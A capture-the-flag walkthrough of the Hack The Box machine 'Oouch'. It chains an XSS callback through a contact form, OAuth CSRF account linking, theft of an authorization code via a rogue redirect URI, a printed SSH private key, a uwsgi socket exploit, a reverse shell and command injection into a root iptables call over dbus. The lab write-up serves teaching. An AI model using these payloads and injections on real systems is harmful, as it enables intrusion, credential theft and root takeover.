Oouch
Oouch was a really solid box in which you had to abuse csrf to link the admin's account to yours and with this new access you can discover credentials to create an application, with this application you can allow a uri for redirections, with which you can steal the admin's code and read his ssh key through the api. from there you can ssh into the box and obtain the user flag. From there you can ssh into a docker container where there is a uwsgi.socket in /tmp you can use an exploit and get rce and get access to the dbus where you can inject into an iptable command that is being run as root.
Enumeration
As usual we start of with an nmap scan with the flags -sC -sV
# Nmap 7.80 scan initiated Sun Mar 15 20:05:30 2020 as: nmap -sC -sV -oA nmap 10.10.10.177
WARNING: Service 10.10.10.177:8000 had already soft-matched rtsp, but now soft-matched sip; ignoring second value
Nmap scan report for oouch.htb (10.10.10.177)
Host is up (0.091s latency).
Not shown: 996 closed ports
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 2.0.8 or later
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_-rw-r--r-- 1 ftp ftp 49 Feb 11 18:34 project.txt
| ftp-syst:
| STAT:
| FTP server status:
| Connected to 10.10.14.25
| Logged in as ftp
| TYPE: ASCII
| Session bandwidth limit in byte/s is 30000
| Session timeout in seconds is 300
| Control connection is plain text
| Data connections will be plain text
| At session startup, client count was 1
| vsFTPd 3.0.3 - secure, fast, stable
|_End of status
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
| 2048 8d:6b:a7:2b:7a:21:9f:21:11:37:11:ed:50:4f:c6:1e (RSA)
|_ 256 d2:af:55:5c:06:0b:60:db:9c:78:47:b5:ca:f4:f1:04 (ED25519)
5000/tcp open http nginx 1.14.2
|_http-server-header: nginx/1.14.2
| http-title: Welcome to Oouch
|_Requested resource was http://oouch.htb:5000/login?next=%2F
8000/tcp open rtsp
| fingerprint-strings:
| FourOhFourRequest, GetRequest, HTTPOptions:
| HTTP/1.0 400 Bad Request
| Content-Type: text/html
| Vary: Authorization
| <h1>Bad Request (400)</h1>
| RTSPRequest:
| RTSP/1.0 400 Bad Request
| Content-Type: text/html
| Vary: Authorization
| <h1>Bad Request (400)</h1>
| SIPOptions:
| SIP/2.0 400 Bad Request
| Content-Type: text/html
| Vary: Authorization
|_ <h1>Bad Request (400)</h1>
|_http-title: Site doesn't have a title (text/html).
|_rtsp-methods: ERROR: Script execution failed (use -d to debug)
From this we can see that there are two http servers one on port 5000 and port 8000 and ftp listing a file we can anonymously download and ssh running.
project.txt shows that there is a flask and django server, one for consumers and one for Authorization.
Flask -> Consumer
Django -> Authorization Server
port 5000 enumeration
if we go to port 5000 it wants us to login or register an account
once we register and log in we see some flask endpoints and can gobust with the session cookie for more.
➜ ~ gobuster dir -u http://10.10.10.177:5000/ -w /usr/share/wordlists/SecLists/Discovery/Web-Content/raft-medium-directories.txt -c 'session=.eJytj01OAzEMRq-SZj1CcX4mSU-BYMECVZXjONMR0w6aZDZUvTsBrsDGnz7ZT3q-y3NZsF64yuP7XYrWQ165VpxYDvJ5YawslnUS8020VSBRX4p2mav47DdP8vQY_o974WmubcM2rzfxuv9CZV8O4o0XWq8svg4dPA3deuN6kce27dzbnOVRBsqj8Tl5NApi6KMUykWjCxHQaG-CSw5wdAZoDGhswpCDApXH4kwgFUbOCQ0GsBAVeg0FbIpBp-zRkrU6-YikgFK0hcEWVUwclY0E-cef6lbObf3gW_exykfWVDBwzBlBO3C-ZE0csiMdnTcJErrO7ZW3vye0fHwDK_J8AA.XyTvTQ.5BjxiJCUyn1b0d8jZ5W069BdJrE'
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://10.10.10.177:5000/
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/SecLists/Discovery/Web-Content/raft-medium-directories.txt
[+] Status codes: 200,204,301,302,307,401,403
[+] Cookies: session=.eJytj01OAzEMRq-SZj1CcX4mSU-BYMECVZXjONMR0w6aZDZUvTsBrsDGnz7ZT3q-y3NZsF64yuP7XYrWQ165VpxYDvJ5YawslnUS8020VSBRX4p2mav47DdP8vQY_o974WmubcM2rzfxuv9CZV8O4o0XWq8svg4dPA3deuN6kce27dzbnOVRBsqj8Tl5NApi6KMUykWjCxHQaG-CSw5wdAZoDGhswpCDApXH4kwgFUbOCQ0GsBAVeg0FbIpBp-zRkrU6-YikgFK0hcEWVUwclY0E-cef6lbObf3gW_exykfWVDBwzBlBO3C-ZE0csiMdnTcJErrO7ZW3vye0fHwDK_J8AA.XyTvTQ.5BjxiJCUyn1b0d8jZ5W069BdJrE
[+] User Agent: gobuster/3.1.0
[+] Timeout: 10s
===============================================================
2020/07/31 22:34:19 Starting gobuster in directory enumeration mode
===============================================================
/contact (Status: 200)
/logout (Status: 302)
/login (Status: 302)
/register (Status: 302)
/about (Status: 200)
/home (Status: 200)
/profile (Status: 200)
/documents (Status: 200)
/oauth (Status: 200)
===============================================================
2020/07/31 22:38:21 Finished
===============================================================
I chose to use the /usr/share/wordlists/SecLists/Discovery/Web-Content/raft-medium-directories.txt wordlist because I wanted something somewhat short and recently made. We can see the /oauth endpoint which if the name didn't give away is going to be the path to foothold on this machine.
Some interesting and crucial endpoints are /oauth and /contact
Contact allows us to send feedback to the system administrator, we can abuse this and have the admin make web requests through tags like <script src = <malicious_url>.
We can test this out by sending the payload.
<sCript src=http://10.10.14.230/test> </sCript>
And we get the request
sudo nc -lvnp 80
Listening on 0.0.0.0 80
Connection received on 10.10.10.177 39620
GET /test HTTP/1.1
Host: 10.10.14.230
User-Agent: python-requests/2.21.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
/oauth reveals this.
Notice consumer.oouch.htb and that we can connect accounts.
port 8000
since the flask consumer site is reachable at consumer.oouch.htb we can assume that the django authorizatoin site is reachable at authorization.oouch.htb. To find this we can assume like we have done, use the /oauth/connect, or we can bruteforce vhosts using gobuster or wfuzz.
Navigating to http://authorization.oouch.htb:8000/ reveals such.
We can create another account here and can assume this is what is being connected on the consumer end.
When we register an account it shows us the endpoints relevant to the operation.
In order to use what we have we first must understand how oauth works and how we can attack it, the blog post https://dhavalkapil.com/blogs/Attacking-the-OAuth-Protocol/ d gives enough information of what to do but I recommend you take a deeper dive into oauth and understand it more than just enough to complete this box.
After familiarizing ourselves with the protocol we see that we can connect the admin's account to our account on port 8000. To begin this attack we are going to need to use burp.
to complete this account connection you need to go to the endpoint /oauth/connect and capture the request with the token and then send that in the message to the admin, once you have done so you need to navigate to /oauth/login and authorize
go to /contact and send the url: http://consumer.oouch.htb:5000/oauth/connect/token?code=HqvCpor138ZL9nd0nYDuNRGZEf8Q9R
then navigate to /oauth/login and Authorize it
and now looking at /profile shows that we are qtc!
if we go to Documents we can see the things qtc has access to.
we find there is an /api/ and credentials that we can use to register an application.
since all endpoints on port 8000 start with /oauth we dirbust and find that /oauth/applications/register exists and uses the credentials found in dev_access.txt.
from here we can create a new application and add our own ip as a redirect uri make client-type to public and authorization grant type authorization-code.
Now with this new redirect uri allowed we are able to steal qtc's code and impersonate him and make api requests as him. This site also shows us how to get from a code to api access https://auth0.com/docs/api-auth/tutorials/authorization-code-grant but first we must get his code.
Doing so is pretty simple all we need to do is make qtc's account make a request to https://provider.com/oauth/authorize?client_id=CLIENT_ID&response_type=code&redirect_uri=http://us/
where we replace the client_id with the application's.
http://authorization.oouch.htb:8000/oauth/authorize/?redirect_uri=http://10.10.14.230/&scope=read&client_id=qnRsHZ30gB4amI0LAeEIC5JJiaHHHU5nwXQyZshS&state=&response_type=code&allow=Authorize will work in our case.
sudo nc -lvnp 80
Listening on 0.0.0.0 80
Connection received on 10.10.10.177 49790
GET /?code=KhJ6fi3Q6yWtylRqCzQVrgcs4PN4RQ HTTP/1.1
Host: 10.10.14.230
User-Agent: python-requests/2.21.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
Cookie: sessionid=33ir3fbimtv064cbgevcwvdmm1i3bdug;
with this code we can now make another request to get the BEARER code to make requests to the api
curl --request POST --url 'http://authorization.oouch.htb:8000/oauth/token/' --header 'content-type: application/x-www-form-urlencoded' --data grant_type=authorization_code --data 'client_id=qnRsHZ30gB4amI0LAeEIC5JJiaHHHU5nwXQyZshS' --data client_secret=rIWVxpHsdsLM2xlnH9laKI9aDrRwJR8HtHvs17yzcJtXrXAiFXJtjsgVVZVdX6UajoO8JQxzE8vZgrchCg5vLB5IDVHx60E6BXXRhqwEAB3Gsnq28A8tr38th4Gv2mfL --data code=KhJ6fi3Q6yWtylRqCzQVrgcs4PN4RQ --data 'redirect_uri=http://10.10.14.230/'
{"access_token": "EgJehhLCvDShHSrVi93Q5w6SeSMib1", "expires_in": 600, "token_type": "Bearer", "scope": "read", "refresh_token": "EpT8rSmBrs0Pserf3eLUtzj8F2oL5M"}
curl request made from this https://auth0.com/docs/api-auth/tutorials/authorization-code-grant
Now we can play with the api
curl --request GET --url authorization.oouch.htb:8000/api/endpoint --header 'authorization: Bearer EgJehhLCvDShHSrVi93Q5w6SeSMib1' --header 'content-type: application/json'
curl --request GET --url authorization.oouch.htb:8000/api/get_users --header 'authorization: Bearer EgJehhLCvDShHSrVi93Q5w6SeSMib1' --header 'content-type: application/json'
{"username": "qtc", "firstname": "", "lastname": "", "email": "qtc@nonexistend.nonono"}
Remember in /documents that users could get an ssh key? Let's play with the api and see if we can pull anything related to that.
/api/get_ssh_key works
We can print the text in python to get the private key in the right format
-----BEGIN OPENSSH PRIVATE KEY-----
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
-----END OPENSSH PRIVATE KEY-----
and now we can ssh in as qtc and are user.
Privilege Escalation
If we run ps aux we can list the processes running and see there are two docker containers with one running the consumer and other the authorization server.
when we try to access these boxes with ssh we get into 127.18.0.4
in the root directory there is a code directory containing the source code for the consumer application and interestingly in /tmp there is a uwsgi socket.
qtc@aeb4525789d8:/code/oouch$ ls /tmp
uwsgi.socket
if we look further down the code directory we can find in routes.py it banning ip addresses for xss attempt through messing with dbus.
def contact():
'''
The contact page is required to abuse the Oauth vulnerabilities. This endpoint allows the user to send messages using a textfield.
The messages are scanned for valid url's and these urls are saved to a file on disk. A cronjob will view the files regulary and
invoke requests on the corresponding urls.
Parameters:
None
Returns:
render (Render) Renders the contact page.
'''
# First we need to load the contact form
form = ContactForm()
# If the form was already submitted, we process the contents
if form.validate_on_submit():
# First apply our primitive xss filter
if primitive_xss.search(form.textfield.data):
bus = dbus.SystemBus()
block_object = bus.get_object('htb.oouch.Block', '/htb/oouch/Block')
block_iface = dbus.Interface(block_object, dbus_interface='htb.oouch.Block')
client_ip = request.environ.get('REMOTE_ADDR', request.remote_addr)
response = block_iface.Block(client_ip)
bus.close()
return render_template('hacker.html', title='Hacker')
# The regex defined at the beginning of this file checks for valid urls
url = regex.search(form.textfield.data)
if url:
# If an url was found, we try to save it to the file /code/urls.txt
try:
with open("/code/urls.txt", "a") as url_file:
print(url.group(0), file=url_file)
except:
print("Error while openeing 'urls.txt'")
# In any case, we inform the user that has message has been sent
return render_template('contact.html', title='Contact', send=True, form=form)
# Except the functions goes up to here. In this case, no form was submitted and we do not need to inform the user
return render_template('contact.html', title='Contact', send=False, form=form)
But if we try to mess with dbus we get permission denied when we try to block an ip address the same way routes.py does. this means that the www-data user has privileges we need to escalate to.
if we look for exploits against uwsgi sockets we can find some chinese exploit against exposed uwsgi sockets found here https://github.com/wofeiwo/webcgi-exploits/blob/master/python/uwsgi_exp.py .
This exploit needs very slight modifications for it to run. all that is needed is to change the function sz()
#from
def sz(x):
s = hex(x if isinstance(x, int) else len(x))[2:].rjust(4, '0')
if sys.version_info[0] == 3: import bytes
s = bytes.fromhex(s) if sys.version_info[0] == 3 else s.decode('hex')
return s[::-1]
#to
def sz(x):
s = hex(x if isinstance(x, int) else len(x))[2:].rjust(4, '0')
s = bytes.fromhex(s)
return s[::-1]
Because of the docker's limited tools to edit files I just base64'd the python exploit and echo'd into a file and base64 -d the file to transfer such.
qtc@aeb4525789d8:/tmp$ python exploit.py -m unix -u /tmp/uwsgi.socket -c "whoami > /tmp/test"
[*]Sending payload.
qtc@aeb4525789d8:/tmp$ cat test
www-data
qtc@aeb4525789d8:/tmp$
it works and we can see in pspy, from here we can get a shell. We can copy the host's netcat and transfer it using the base64 method and from there get a shell as www-data. To get the shell we can upload a basic python reverse shell using the same method as before but we need to set the ip we are connecting to as 172.18.0.1 because we have to listen on oouch.
qtc@aeb4525789d8:/tmp$ python exploit.py -m unix -u /tmp/uwsgi.socket -c "python /tmp/rev.py"
[*]Sending payload.
connect to [172.18.0.1] from (UNKNOWN) [172.18.0.4] 57258
/bin/sh: 0: can't access tty; job control turned off
now we can try messing with dbus to see what we can do and can maybe see with pspy running.
import sys
sys.path.insert(0,"/usr/lib/python3/dist-packages")
import dbus
bus = dbus.SystemBus()
block_object = bus.get_object('htb.oouch.Block', '/htb/oouch/Block')
block_iface = dbus.Interface(block_object, dbus_interface='htb.oouch.Block')
response = block_iface.Block("AAAAAAA")
2020/08/09 01:24:39 CMD: UID=0 PID=20866 | iptables -A PREROUTING -s AAAAAAA -t mangle -j DROP
from here we can see we can inject into that iptables command which is run as root. let's wrap this up and get a shell. We can put our reverse shell command in /tmp/gg.sh call it whatever you want, doesn't matter. now in python run block_iface.Block("; bash /tmp/gg.sh #") and gg we have a shell.
And we are root.